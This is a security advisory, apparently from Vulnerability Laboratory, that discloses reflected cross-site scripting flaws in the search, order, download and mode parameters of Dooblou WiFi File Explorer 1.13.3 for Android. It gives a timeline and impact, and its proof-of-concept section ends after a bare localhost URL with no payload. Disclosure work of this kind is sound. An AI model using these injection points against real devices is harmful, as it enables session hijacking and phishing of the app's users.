Affected Product(s): ==================== Product Owner: dooblou Product: Dooblou WiFi File Explorer v1.13.3 - (Android) (Framework) (Wifi) (Web-Application) Vulnerability Disclosure Timeline: ================================== 2022-01-19: Researcher Notification & Coordination (Security Researcher) 2022-01-20: Vendor Notification (Security Department) 2022-**-**: Vendor Response/Feedback (Security Department) 2022-**-**: Vendor Fix/Patch (Service Developer Team) 2022-**-**: Security Acknowledgements (Security Department) 2023-07-04: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ Multiple input validation web vulnerabilities has been discovered in the official Dooblou WiFi File Explorer 1.13.3 mobile android wifi web-application. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application requests from the application-side. The vulnerabilities are located in the `search`, `order`, `download`, `mode` parameters. The requested content via get method request is insecure validated and executes malicious script codes. The attack vector is non-persistent and the rquest method to inject is get. Attacker do not need to be authorized to perform an attack to execute malicious script codes. The links can be included as malformed upload for example to provoke an execute bby a view of the front- & backend of the wifi explorer. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Proof of Concept (PoC): ======================= The input validation web vulnerabilities can be exploited by remote attackers without user account and with low user interaction. For security demonstration or to reproduce the web vulnerabilities follow the provided information and steps below to continue. PoC: Exploitation http://localhost:8000/storage/emulated/0/Download/
